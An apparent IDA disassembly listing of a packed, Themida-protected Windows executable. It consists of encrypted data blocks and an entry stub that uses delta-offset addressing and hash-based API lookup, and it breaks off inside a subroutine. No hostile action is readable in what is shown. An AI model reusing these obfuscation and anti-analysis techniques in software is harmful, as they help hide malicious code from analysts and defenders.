		dd 0A7080255h, 50CACE53h, 0DAFD268Ch, 0A27600DCh, 61AA8A6Ch
		dd 0E9E74037h, 484AFD7h, 64137CF3h, 240D3FEh, 41CEB1D8h
		dd 6D782300h, 802BA1DEh, 0B4D30019h, 74C758Ah, 960566B1h
		dd 0B6D83539h, 31CE80Bh, 0AA696D48h, 9DD084F5h,	95037CC0h
		dd 0A4D78ABh, 9A91207Bh, 5FC31380h, 0BA9FE4h, 11D8E2B5h
		dd 0E8A8897Eh, 64168B19h, 8006F9Eh, 0F093BB5Fh,	2E467F4Ah
		dd 11684E38h, 0E3C300A4h, 28D085F5h, 7AFF4F2h, 2F5898EFh
		dd 8CC66559h, 6A0B4BACh, 5D714246h, 795EBE87h, 7F44900Fh
		dd 191880FAh, 7E581BC6h, 905E80E4h, 0F37DAFh, 0E806A4A9h
		dd 0C95675Fh, 0D8828D00h, 0AB536F6Ch, 15D898EBh, 0A4F82570h
		dd 19467800h, 0F9C4C939h, 0D03E7D01h, 1C8A05BFh, 1791C7ECh
		dd 402F0961h, 928DC898h, 0D91E77D6h, 27000E16h,	1DAD9BC9h
		dd 17C3002Eh, 0D41022FEh, 0E499BC24h, 0BEEC793Ah, 217A8703h
		dd 0F8706AA5h, 79E81F8h, 0E8B42E7Fh, 9DEFF360h,	4850A00Bh
		dd 35F080B6h, 0F72879h,	0D5361468h, 7E1592C9h, 0D4F9B360h
		dd 0C48399h, 0FB8BE6FAh, 8A25225Fh, 24F04100h, 0B952F1Fh
		dd 0DC5A5C60h, 5E8B6680h, 3F1FE0D9h, 0A067D7F6h, 9D6C3684h
		dd 8219171Bh, 4A002025h, 3300CD73h, 18541271h, 2A0FAAF9h
		dd 0EC1C68D8h, 666D0092h, 4C9746EBh, 4D305BF8h,	31ACB815h
		dd 80B4967Eh, 1E0ACCD7h, 0BD22CF25h, 0E4340060h, 484A1B6Eh
		dd 56000C8Eh, 0F4891493h, 6FA4AC7Fh, 4E8229DAh,	0E4D2BDB0h
		dd 0BA08860Fh, 5EA3246Ch, 1FC03180h, 6A2A142Eh,	6D00D8B3h
		dd 79747B83h, 60241692h, 5F42B05Eh, 3204686h, 0C7D59D14h
		dd 0EFE804A9h, 0FFFE2D11h, 8CF7620Bh, 6684417Ah, 0E783D0h
		dd 287F3DE3h, 977E68F0h, 982044E2h, 0AB1F0910h,	5803F509h
		dd 1480CE7Fh, 97244D4Ah, 1A24B478h, 8F60AA01h, 0A828642Ah
		dd 75E6BE80h, 67507F73h, 0B77C66CCh, 0D4521581h, 0F0C2AC1h
		dd 0F58B1C40h, 0A910FCA7h, 190090E4h, 0DC71223Bh, 26731721h
		dd 8EC4690h, 0E999582Ah, 1D8BF38h, 23A412AEh, 401CD582h
		dd 0B9AC4740h, 0F8C34FF1h, 9A604C6Bh, 0C0C47Fh,	2457D394h
		dd 1E2DB483h, 1B217100h, 0EBB3DB10h, 4E5B0AAEh,	49DC23ABh
		dd 0A1DEC406h, 78097E24h, 1200A917h, 6CF896CCh,	7FA727FEh
		dd 0A418C8A0h, 0F1EEBBC6h, 0FB70AE00h, 5DC119ECh, 75BD01ABh
		dd 0DD9B5F3Ch, 6EB440CCh, 0BE4F518Fh, 2C042C40h, 386D1812h
		dd 0D88079A3h, 7D978534h, 0B85CA28Bh, 40EC24BEh, 45145560h
		dd 107E073Fh, 0A0131A59h, 0F6AD740Ah, 575DF411h, 0A15F611Bh
		dd 9C01EBC7h, 2924BEC6h, 130C00F4h, 6F485E29h, 4FB9008Ch
		dd 8571DA6h, 6C5EF4F9h,	0C4A35C02h, 711F0032h, 861F2702h
		dd 0DA423CADh, 6616B061h, 0C45B00B0h, 90A3F1B8h, 583376B3h
		dd 0F0E078A9h, 6FFE4DC0h, 0BBC091DEh, 3D484111h, 51AC80Fh
		dd 0B0374134h, 0C1815CBEh, 0C2B70C73h, 3C7DF8AFh, 0A0D44328h
		dd 0B1201700h, 655011A4h, 0A60B0089h, 0D9A2CB2Ch, 0D731ABFBh
		dd 0F1FE9187h, 0BE107183h, 67881117h, 38027159h, 3ED62502h
		dd 4DF4A0DDh, 737E7BF8h, 516A26F9h, 2F5B0064h, 311CD614h
		dd 0A1446504h, 7490AB3Eh, 7A160Ch, 58B5C411h, 0DA8E9A98h
		dd 0E2C78300h, 8590654Dh, 0C25D22D7h, 0F9387400h, 25D6F752h
		dd 21940A14h, 5F01CCA8h, 6CFFFFh, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53C6A8:				; CODE XREF: start:loc_4D3265j
					; DATA XREF: start:loc_4D3086o
		jmp	loc_53FC71
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 10h
		dd 3 dup(0)
		dd 57F6B900h, 2	dup(0)
		dd 5AD88300h, 4	dup(0)
		dd 5A039600h, 0A1156800h, 0
		dd 53DE4200h, 0
		dd 5AC1EF00h, 0
		dd 6A3300h, 8 dup(0)
		dd 0C31A7300h, 12E58254h, 5 dup(0)
		dd 5A5D2700h, 0
		dd 4868CE00h, 5C17DCB9h, 4 dup(0)
		dd 0A0A00F00h, 0
		dd 79781200h, 13h, 814F2E00h, 67h, 0Bh dup(0)
		dd 0A2800h, 0
		dd 0C800h, 0Eh dup(0)
		dd 5AE7C800h, 6	dup(0)
		dd 0A08C0A00h, 5793D000h, 12FFC400h, 0
		dd 8000h, 3 dup(0)
		dd 0A27FD800h, 796300h,	0
		dd 0AE000000h, 0
		dd 0A0812600h, 3CEFh, 5	dup(0)
		dd 100h, 8 dup(0)
		dd 496CB800h, 2, 0
		dd 260800h, 2 dup(0)
		dd 0A02BDE00h, 2 dup(0)
		dd 55597400h, 86h, 0Ah dup(0)
		dd 496CB800h, 2, 0
		dd 36363600h, 5D836h, 0Ch dup(0)
		dd 56FFF700h, 0
		dd 0FE030400h, 7Fh, 2 dup(0)
		dd 76A2FA00h, 0AAh, 2 dup(0)
		dd 100h, 5 dup(0)
		dd 0A122D800h, 400h, 4 dup(0)
		dd 575FE200h, 0
		dd 0A9172B00h, 0E75CB538h, 77h,	8Fh dup(0)
		dd 58870200h, 0A0FA5600h, 2 dup(0)
		dd 56D79600h, 0
		dd 30400h, 7000h, 4 dup(0)
		dd 0A069DD00h, 5 dup(0)
		dd 90D2C500h, 88h, 0
		dd 85E9AE00h, 0E1h, 2 dup(0)
		dd 575DF700h, 0Ah dup(0)
		dd 5BE6E600h, 8Ch, 0F6FF0900h, 72h, 0
		dd 100h, 2 dup(0)
		dd 0DF6100h, 3 dup(0)
		dd 57800100h, 1CB00000h, 1FCFC00h, 576D5280h, 2	dup(0)
		dd 0A009F700h, 577C4A00h, 3 dup(0)
		dd 500h, 0
		dd 9317F00h, 0CDh, 3 dup(0)
		dd 0FE030400h, 12FFF07Fh, 5 dup(0)
		dd 14FFB00h, 0A4h, 3 dup(0)
		dd offset dword_564300
		dd 0
		dd 57002300h, 53F66900h, 4 dup(0)
		dd 0A06CB000h, 2 dup(0)
		dd 3D9400h, 3 dup(0)
		dd 0E4DE9800h, 564301h,	9 dup(0)
		dd 0A53B00h, 0E78B8200h, 59225A77h, 8 dup(0)
		dd 0A123E800h, 3 dup(0)
		dd 0D6F0CD00h, 19h, 0A6205100h,	0AEB1CAFFh, 2 dup(0)
		dd 3900h, 53D47500h, 5973FE00h,	2 dup(0)
		dd 8A000000h, 2, 15h dup(0)
		dd 0D6F1E500h, 5AD59D0Fh, 0C000h, 0
		dd 9C0BB900h, 64h, 2 dup(0)
		dd 0B8146D00h, 72h, 2 dup(0)
		dd 0A5117300h, 7C7Fh, 3	dup(0)
		dd 53F66900h, 6	dup(0)
		dd 8A1CA800h, 0A1156802h, 0A09C3700h, 0F6CE8100h, 32h
		dd 0
		dd 100h, 5 dup(0)
		dd 79781200h, 13h, 0
		dd 40000000h, 0A2800h, 3 dup(0)
		dd 57079000h, 6	dup(0)
		dd 5AD66100h, 4	dup(0)
		dd 5829C400h, 9000000h,	5B27E500h, 3 dup(0)
		dd 96200h, 0
		dd 0BFECF800h, 53F66927h, 0
		dd 0E7A09900h, 77h, 8 dup(0)
		dd 6A3300h, 0
		dd 74B6F600h, 7Bh, 2 dup(0)
		dd 0FE030400h, 7Fh, 7 dup(0)
		dd 0A2800h, 0
		dd 12FF5400h, 0Ah dup(0)
		dd 0B8D68300h, 14h, 0
		dd 0F7EBB300h, 77h, 0
		dd 0E7519D00h, 0FFh, 5862CB00h,	0
		dd 0A0BAFF00h, 2 dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 5AC2A700h, 0Ah dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 0A7E79B00h, 0FFh, 2 dup(0)
		dd 0FFFFFF00h, 0FFh, 3 dup(0)
		dd 0AC0E6700h, 0FFh, 0
		dd 5F5FF100h, 0F5180BFFh, 0D5FD5577h, 5967C4F9h, 2 dup(0)
		dd 1FCFC00h, 80h, 0A0A03700h, 2	dup(0)
		dd 260600h, 5 dup(0)
		dd 360600h, 100h, 7 dup(0)
		dd 0DF6100h, 8 dup(0)
		dd 387900h, 2 dup(0)
		dd 53C6E100h, 0
		dd offset dword_5BA000
		dd 0B7000000h, 8 dup(0)
		dd 7A8A2200h, 80h, 2 dup(0)
		dd 7800h, 3 dup(0)
		dd 0A12B1F00h, 7Dh, 9 dup(0)
		dd 0FB36A400h, 0FAh, 3 dup(0)
		dd 0CF35BF00h, 13h, 8 dup(0)
		dd 5A000000h, 2, 2 dup(0)
		dd 8AD46300h, 0E600001Bh, 77h, 5 dup(0)
		dd 0C4BE500h, 0FF9854DEh, 0FFh,	2 dup(0)
		dd 0FE030400h, 7Fh, 5 dup(0)
		dd 3B392000h, 0C6C9FF15h, 5Eh, 3 dup(0)
		dd 0FF8000h, 5 dup(0)
		dd 0A7D63D00h, 0FFh, 3 dup(0)
		dd 0FE038E00h, 7Fh, 2 dup(0)
		dd 0E77CB700h, 5B37E577h, 0
		dd 576D5200h, 7	dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 0F07700h, 0
		dd 9FB16800h, 0F59F2E00h, 0ACh,	6 dup(0)
		dd 1FCFC00h, 80h, 1F3700h, 8 dup(0)
		dd 0DB9F6F00h, 30h, 2 dup(0)
		dd 9F791500h, 0FEh, 16h	dup(0)
		dd 0EFFF6200h, 74h, 6 dup(0)
		dd 0E7AC5E00h, 77h, 9 dup(0)
		dd 49810000h, 2, 0A05E2E00h, 2 dup(0)
		dd 5888F600h, 0
		dd 7400h, 2 dup(0)
		dd 8CCB7100h, 47h, 5B47DB00h, 2	dup(0)
		dd 0AC00h, 0FF98BC00h, 1BB3B3FFh, 30h, 7 dup(0)
		dd 0F5000000h, 77h, 5 dup(0)
		dd 79781200h, 13h, 3 dup(0)
		dd 570D0700h, 7	dup(0)
		dd 0FDDFF600h, 37h, 1AD600h, 0A1326800h, 5 dup(0)
		dd 2156800h, 4 dup(0)
		dd 0FF98BC00h, 84FFh, 0
		dd 65685400h, 6164696Dh, 1Ch dup(0)
		dd 9F003E00h, 8	dup(0)
		dd 0E75CB500h, 77h, 0FDA60F00h,	0FFh, 3	dup(0)
		dd 5B000000h, 2, 0
		dd 34AF000h, 0A800h, 0
		dd 4001E800h, 0
		dd 79781200h, 5C18A213h, 597F5D00h, 32h, 2 dup(0)
		dd 0D000000h, 5	dup(0)
		dd 0A7E48B00h, 0C35A50FFh, 28h,	0E7BF5000h, 0F1h, 19h dup(0)
		dd 5A5D2700h, 4	dup(0)
		dd 53C6E100h, 576D6400h, 2 dup(0)
		dd 0FE030400h, 7Fh, 0C530DF00h,	0A9h, 0A5B22D00h, 0E7C486FFh
		dd 77h,	5 dup(0)
		dd 575FE200h, 2	dup(0)
		dd 0A070C400h, 2 dup(0)
		dd 0ECAAEC00h, 0D6h, 2Bh dup(0)
		dd 575FE200h, 2F39C800h, 0A29BAC34h, 8 dup(0)
		dd 100h, 0E82FE800h, 77h, 7 dup(0)
		dd 0E6003E00h, 77h, 5 dup(0)
		dd 41000C00h, 2, 0
		dd 6A3300h, 4 dup(0)
		dd 51356A00h, 40h, 0
		dd 0A0A00F00h, 2 dup(0)
		dd 96000h, 0Dh dup(0)
		dd 0A0949900h, 0
		dd 59530000h, 3Eh, 3 dup(0)
		dd 576B4A00h, 0FE030400h, 0A0915B7Fh, 2	dup(0)
		dd 12FF6400h, 687000h, 4 dup(0)
		dd 0E7A83700h, 77h, 1FCFC00h, 0DD189A80h, 77h, 8 dup(0)
		dd 53F75100h, 0
		dd 0F6CE8100h, 5BE7EA32h, 0
		dd 6A3300h, 9000h, 3 dup(0)
		dd 5F962300h, 0FFh, 0
		dd 0A53B00h, 0A0314500h, 0
		dd 18AE6300h, 35B00h, 0B7h dup(0)
		dd 5A000000h, 2, 7 dup(0)
		dd 5AEA6400h, 0A1156400h, 0FC6FA000h, 0A2731677h, 4 dup(0)
		dd 0A48D5300h, 5 dup(0)
		dd 0FFECFB00h, 27h, 0Eh	dup(0)
		dd 0A76A1D00h, 0FFh, 576D5200h,	0FE030400h, 7Fh, 0E6D70600h
		dd 77h,	88648700h, 32h,	5 dup(0)
		dd 2800h, 0F6FA8B00h, 0FEh, 0E23E7A00h,	3Ch, 4 dup(0)
		dd 0EBA6E900h, 77h, 0
		dd 50002100h, 4	dup(0)
		dd 57F65B00h, 2	dup(0)
		dd 21BB900h, 85h, 4 dup(0)
		dd 0FE803400h, 0FFh, 3A000h, 5AF5B600h,	5 dup(0)
		dd 56794C00h, 5	dup(0)
		dd 0D301400h, 4	dup(0)
		dd 570FCA00h, 4	dup(0)
		dd 0CC00h, 59DD1D00h, 4	dup(0)
		dd 57A06800h, 4	dup(0)
		dd 0A141CC00h, 3 dup(0)
		dd 0B1AC5300h, 0F9h, 6 dup(0)
		dd 0FAFFB600h, 2Ch, 4 dup(0)
		dd 57CFFC00h, 9397B800h, 1, 4 dup(0)
		dd 0ED00AC00h, 0FFh, 4 dup(0)
		dd 57D64400h, 2	dup(0)
		dd 59000000h, 2, 0Fh dup(0)
		dd 40100000h, 56F5AF00h, 0
		dd 2B935900h, 7Fh, 2 dup(0)
		dd 0A8838800h, 0FFh, 5DA900h, 6	dup(0)
		dd 53C71D00h, 2	dup(0)
		dd 0DD000000h, 5774E877h, 0C8h,	3 dup(0)
		dd 6A3300h, 3387C200h, 22h, 7 dup(0)
		dd 12FFA400h, 2	dup(0)
		dd 0E7C48600h, 77h, 0
		dd 37D77200h, 9F0489h, 0
		dd 0FE030400h, 5878D27Fh, 2 dup(0)
		dd 0A8FFDD00h, 0FFh, 0Dh dup(0)
		dd 9800h, 0
		dd 0C530DF00h, 0A9h, 2 dup(0)
		dd 577C7800h, 0Ah dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 79781200h, 13h, 1857C900h, 88h, 0FDF00000h, 0DD5ECC7Fh
		dd 77h,	2 dup(0)
		dd 0D0FFB000h, 1, 0FFA5BC00h, 0FFh, 0
		dd 57F65B00h, 9	dup(0)
		dd 0A0939300h, 4 dup(0)
		dd 0E0F16000h, 0D6h, 0Ah dup(0)
		dd 33333300h, 2	dup(33333333h),	0F6CE8133h, 32h, 2 dup(0)
		dd 6B12000h, 0F6h, 0
		dd 0FE030400h, 7Fh, 5A014B00h, 0AF000000h, 3Ah,	28h dup(0)
		dd 0E6000000h, 77h, 0
		dd 8800h, 4 dup(0)
		dd 12FFE000h, 2	dup(0)
		dd 0FFA46000h, 0FFh, 7C00h, 0FE70F000h,	0FFh, 6	dup(0)
		dd 5886FF00h, 7	dup(0)
		dd 6A3300h, 3 dup(0)
		dd 0E7A5FD00h, 77h, 0
		dd 0FFFFFF00h, 6A33FFh,	4 dup(0)
		dd 107000h, 9 dup(0)
		dd 0F3D9E600h, 0FEh, 2 dup(0)
		dd 0F91E8600h, 0E0h, 2 dup(0)
		dd 418FC800h, 4	dup(0)
		dd 53C6E100h, 3	dup(0)
		dd 0FFFF1800h, 0FFh, 6 dup(0)
		dd 0BC8D8D00h, 23h, 5 dup(0)
		dd 9F000000h, 25CCB800h, 0E0h, 2 dup(0)
		dd 2C693B00h, 5Eh, 2 dup(0)
		dd 7C834D00h, 43h, 0
		dd 57574B00h, 0
		dd 5937E600h, 4	dup(0)
		dd 5402CD00h, 58674B00h, 2 dup(0)
		dd 100h, 4 dup(0)
		dd 0BD8B6000h, 0FDh, 2 dup(0)
		dd 0FFB55400h, 570F7AFFh, 82A3A100h, 5745136Ch,	3 dup(0)
		dd 53C6E100h, 3	dup(0)
		dd 3A0F9100h, 71h, 0FFFFFF00h, 0FFh, 3 dup(0)
		dd 100h, 2 dup(0)
		dd 100h, 7088D00h, 17FCCD0h, 5 dup(0)
		dd 53D3F500h, 9F180B00h, 0C2h, 53CD8100h, 8 dup(0)
		dd 0FE030400h, 36A31F7Fh, 9Ch, 2 dup(0)
		dd 0A400h, 2 dup(0)
		dd 0E8061800h, 77h, 5 dup(0)
		dd 0FE030400h, 0FE03047Fh, 5A4C6E7Fh, 14h dup(0)
		dd 1FCFC00h, 80h, 5 dup(0)
		dd 12FFA400h, 2	dup(0)
		dd 0FE030400h, 7Fh, 11h	dup(0)
		dd 1900h, 4 dup(0)
		dd 0A4A5E700h, 0F841A700h, 3Fh,	67AC00h, 199900h, 6 dup(0)
		dd 576D5200h, 0E800h, 2	dup(0)
		dd 0D4B01C00h, 0FEh, 0FFFFFF00h, 0FFh, 2 dup(0)
		dd 6B1EBB00h, 0FAh, 0
		dd 0C9734800h, 0Fh, 0BFECF800h,	0E805D827h, 77h, 0Bh dup(0)
		dd 0FE030400h, 7Fh, 7 dup(0)
		dd 0EE8D8D00h, 3Ch, 6 dup(0)
		dd 0FFFFFF00h, 0FFh, 0
		dd 0DF6100h, 5 dup(0)
		dd 100h, 0
		dd 57BB4300h, 3	dup(0)
		dd 40625200h, 2, 2 dup(0)
		dd 6A3300h, 0
		dd 0C697F00h, 5Dh, 0A0949900h, 3 dup(0)
		dd 0DF005000h, 0FDh, 2 dup(0)
		dd 5AADAA00h, 4	dup(0)
		dd 56511200h, 3	dup(0)
		dd 0C530DF00h, 0A9h, 2 dup(0)
		dd 0F642E200h, 61h, 3 dup(0)
		dd 0C6ED2300h, 3Ah, 130000h, 5 dup(0)
		dd 0B7D82700h, 22h, 9 dup(0)
		dd 0FFA21800h, 0FFh, 3 dup(0)
		dd 4D100000h, 57DA9900h, 955400h, 600h,	0
		dd 0A06CB000h, 5AD83E00h, 0
		dd 5E840D00h, 0FFh, 5 dup(0)
		dd 56F5AF00h, 4	dup(0)
		dd 3FF56700h, 1, 0Ch dup(0)
		dd 5AF5B600h, 11h dup(0)
		dd 94BBEE00h, 52h, 6 dup(0)
		dd 0C91400h, 5,	56B700h, 5 dup(0)
		dd 0DD75A500h, 59DDD4A3h, 11h dup(0)
		dd 0E8216800h, 77h, 100h, 0
		dd 0C95D5D00h, 63h, 0
		dd 0FE030400h, 0A07Fh, 0Eh dup(0)
		dd 684800h, 4 dup(0)
		dd 0E8417E00h, 77h, 0
		dd 5C3A4300h, 6E755F6Dh, 6B636170h, 7265h, 7Ch dup(0)
		dd 0FFA25D00h, 0FFh, 0
		dd 0E7796300h, 77h, 0FFFFFF00h,	0FFh, 4	dup(0)
		dd 1446F000h, 5C0FB600h, 5Ch, 0
		dd 0CC091600h, 29h, 2 dup(0)
		dd 0DF6100h, 9 dup(0)
		dd 0F07700h, 0Ch dup(0)
		dd 0F760F500h, 0BDh, 5 dup(0)
		dd 0DD23D700h, 902B7C77h, 0F2h,	0
		dd 8C00h, 0F8074D00h, 26h, 2Ch dup(0)
		dd 0C565F800h, 0EAh, 0
		dd 607CDC00h, 1Ah, 0
		dd 29E900h, 2 dup(0)
		dd 0FFA00F00h, 0FFh, 0E83E6800h, 77h, 0
		dd 100h, 0E78B8200h, 46DA4477h,	75B5C2h, 2 dup(0)
		dd 82A3A100h, 6Ch, 53F8E900h, 6	dup(0)
		dd 5B371B00h, 0Ah dup(0)
		dd 100h, 0
		dd 0A6DC9A00h, 0FFh, 2 dup(0)
		dd 3A0400h, 0Ah	dup(0)
		dd 88F3E400h, 0E0h, 3 dup(0)
		dd 0CA953B00h, 16h, 3 dup(0)
		dd 30140800h, 3520017h,	3 dup(0)
		dd 2072400h, 80h, 0FE030400h, 17Fh, 2 dup(0)
		dd 463DA00h, 0E8216870h, 77h, 0
		dd 73655200h, 74726174h, 2E707041h, 657865h, 4 dup(0)
		dd 3500000h, 30400h, 0
		dd 12FF5400h, 2	dup(0)
		dd 0D4C96A00h, 0FE030477h, 7Fh,	0
		dd 41000000h, 2, 0E400h, 0
		dd 0A03E3B00h, 2 dup(0)
		dd 12FEF800h, 8	dup(0)
		dd 0A08C0A00h, 0FE030400h, 7Fh,	0
		dd 0FFFFFF00h, 0FFh, 2 dup(0)
		dd 5C3A4300h, 444E4957h, 5C53574Fh, 74737953h, 32336D65h
		dd 5644415Ch, 33495041h, 6C642E32h, 6Ch, 3Ah dup(0)
		dd 75F6500h, 0D0h, 3 dup(0)
		dd 0E6000100h, 77h, 5C493500h, 574A9300h, 0FFFF00h, 0A0229200h
		dd 2 dup(0)
		dd 0B564000h, 570D2100h, 3 dup(0)
		dd 57466300h, 5B472300h, 0
		dd 0FE030400h, 0A499957Fh, 0
		dd 0FE038E00h, 7Fh, 0A6C6D100h,	0FFh, 2	dup(0)
		dd offset dword_56B700
		dd 7D100h, 0Eh dup(0)
		dd 9F0FE600h, 2	dup(0)
		dd 1C740800h, 0A6h, 5 dup(0)
		dd 5F643C00h, 1, 0
		dd 0FE030400h, 7Fh, 5 dup(0)
		dd 0E793EF00h, 77h, 14h	dup(0)
		dd 0E8216800h, 77h, 0DD59F000h,	77h, 0
		dd 0FF985400h, 0F52E0FFFh, 77h,	6A3300h, 4 dup(0)
		dd 80FFB000h, 1, 2 dup(0)
		dd 516D0000h, 0FFB56222h, 596821FFh, 3 dup(0)
		dd 0B295ED00h, 1Dh, 3 dup(0)
		dd 9C00h, 5 dup(0)
		dd 100h, 2 dup(0)
		dd 0CFC76000h, 0Fh, 3 dup(0)
		dd 0A2B13400h, 5 dup(0)
		dd 0B9B77E00h, 70h, 2 dup(0)
		dd 5400h, 4 dup(0)
		dd 23B5BB00h, 28h, 3 dup(0)
		dd 35EFBD00h, 18h, 0
		dd 200h, 0FE030400h, 7Fh, 0
		dd 57D90F00h, 3	dup(0)
		dd 260600h, 5AAEC100h, 0
		dd 5B56B700h, 6	dup(0)
		dd 53F75200h, 2	dup(0)
		dd 0C74E800h, 0E803Ch, 5F9800h,	3 dup(0)
		dd 0FE030400h, 7Fh, 53CD7D00h, 4 dup(0)
		dd 0A122D800h, 46DA4400h, 0C2h,	9 dup(0)
		dd 35B00h, 4 dup(0)
		dd 5A4DFA00h, 3	dup(0)
		dd 809E4500h, 0F8h, 0
		dd 0FF985400h, 0B0A1FEFFh, 57CF4300h, 8	dup(0)
		dd 12FEF800h, 2	dup(0)
		dd 0CFF77D00h, 2, 3 dup(0)
		dd 1C3A00h, 59685A00h, 0
		dd 7B11FE00h, 0FFDB80FBh, 0D4C96AFFh, 0FE030477h, 7Fh
		dd 0Eh dup(0)
		dd 40000000h, 576B3D00h, 5 dup(0)
		dd 0FE030400h, 7Fh, 0Ah	dup(0)
		dd 0E2515400h, 11h, 0
		dd 5B2A6800h, 4	dup(0)
		dd 5B177000h, 0A1156800h, 4 dup(0)
		dd 400h, 0
		dd 0FE030400h, 7Fh, 0
		dd 540AD100h, 9	dup(0)
		dd 51C8E800h, 6Ah, 2 dup(0)
		dd 0F5B92C00h, 0ACh, 9 dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 0F61600h, 0FE030400h, 7Fh, 1Bh dup(0)
		dd 200h, 4 dup(0)
		dd 9FD55400h, 576D6400h, 8 dup(0)
		dd 200000h, 5C18A200h, 570FA200h, 8 dup(0)
		dd 56D79600h, 9	dup(0)
		dd 91976000h, 46h, 13h dup(0)
		dd 712E0000h, 0E7A14461h, 0FFE51077h, 5AAB8EFFh, 9400h
		dd 2 dup(0)
		dd 0D8000000h, 32h, 5 dup(0)
		dd 0D4000000h, 77h, 2 dup(0)
		dd 6A3300h, 0Bh	dup(0)
		dd 0A122D800h, 4 dup(0)
		dd 5C000000h, 2, 3 dup(0)
		dd 0F4727300h, 12h, 2 dup(0)
		dd 0A2B13400h, 0
		dd 0FE030400h, 7Fh, 0
		dd 208D8D00h, 21h, 5 dup(0)
		dd 3AC00h, 58665600h, 4	dup(0)
		dd 0A46D400h, 0FE9F0453h, 7Fh, 6 dup(0)
		dd 0FFA00F00h, 0FFh, 5 dup(0)
		dd 0E7A14400h, 77h, 0
		dd 0E7A13F00h, 77h, 6 dup(0)
		dd 577C7800h, 5	dup(0)
		dd 0A3F07700h, 1Ch, 0A53B00h, 4	dup(0)
		dd 16B700h, 3 dup(0)
		dd 59618400h, 3	dup(0)
		dd 21212100h, 21h, 69h dup(0)
		dd 6A3300h, 7 dup(0)
		dd 0AC283B00h, 0FFh, 0
		dd 12FEF400h, 0
		dd 7CFFBC00h, 5Eh, 0
		dd 0FF906800h, 0FFh, 0
		dd 200h, 2 dup(0)
		dd 79781200h, 13h, 8 dup(0)
		dd 5407B700h, 2	dup(0)
		dd 0FF985400h, 0FFh, 0
		dd 7FFFEF00h, 0EDh, 5 dup(0)
		dd 0F288100h, 32h, 0
		dd 40000000h, 5	dup(0)
		dd 8DC14600h, 0FDh, 3 dup(0)
		dd 56D79600h, 11111100h, 58031511h, 7 dup(0)
		dd 58B00400h, 0
		dd 96B4BB00h, 85h, 4 dup(0)
		dd 0F8727300h, 0E6h, 6F9800h, 0A0A00F00h, 2 dup(0)
		dd 6A3300h, 2 dup(0)
		dd 0B800h, 0C00B0000h, 18C20374h, 24448B00h, 0E8530Ch
		dd 5B000000h, 17C381h, 5C890000h, 44891024h, 0B85B1424h
		dd 0A0A037h, 448BE0FFh,	0E0FF0424h, 18h	dup(0)
		dd 5054C100h, 56h, 0A0923400h, 3 dup(0)
		dd 56F5AF00h, 2	dup(0)
		dd 6B088F00h, 0FFh, 5 dup(0)
		dd 0FFC5FC00h, 0FFh, 2 dup(0)
		dd 669E7800h, 0C5h, 28010500h, 4DD6400Ah, 0FFh,	3 dup(0)
		dd 400h, 58D46200h, 4 dup(0)
		dd 100h, 2 dup(0)
		dd 0D6AD1800h, 7Eh, 59D50900h, 4 dup(0)
		dd 53FA4500h, 2	dup(0)
		dd 24242400h, 24h, 0
		dd 0DF700h, 2 dup(0)
		dd 0A83C6C00h, 0FFh, 2 dup(0)
		dd 0FE030400h, 7Fh, 2 dup(0)
		dd 5ACB4E00h, 100h, 0EC2200h, 7	dup(0)
		dd 0EEE20000h, 80h, 5 dup(0)
		dd 0B41B4000h, 76h, 5AE1C500h, 100h, 673EBF00h,	0E9h, 0
		dd 0A069DD00h, 0
		dd 1FCFC00h, 80h, 2 dup(0)
		dd 5BB32600h, 2222225Ch, 22222222h, 59DCB922h, 3 dup(0)
		dd 2D72C800h, 0E9h, 12FEF800h, 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53FC71:				; CODE XREF: start:loc_53C6A8j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 62B35D3h
		mov	[ebp+62B015Dh],	edx
		mov	[ebp+62B09BDh],	esi
		mov	[ebp+62B0615h],	eax
		cmp	dword ptr [ebp+62B1999h], 0
		jz	short loc_53FCA9
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_53FCA9:				; CODE XREF: start+6CC87j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+62B2A05h],	eax
		push	45h
		call	sub_53FD5D
		push	783749Ah
		call	sub_53FDA3
		push	0A894B25h
		call	sub_53FDA3
		jmp	loc_53FEE7
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h
		dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h
		dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah
		dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh
		dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h
		dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h
		dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh
		dd 0C1C0BFBEh, 0C3C2h, 2 dup(0)
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_53FD5D	proc near		; CODE XREF: start+6CCA1p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 62B36C1h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_53FD79:				; CODE XREF: sub_53FD5D+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_53FD98
		mov	eax, [ebp+arg_0]
		mov	[ebx+62B362Bh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_53FD79
; ---------------------------------------------------------------------------


loc_53FD98:				; CODE XREF: sub_53FD5D+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_53FD5D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_53FDA3	proc near		; CODE XREF: start+6CCABp start+6CCB5p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
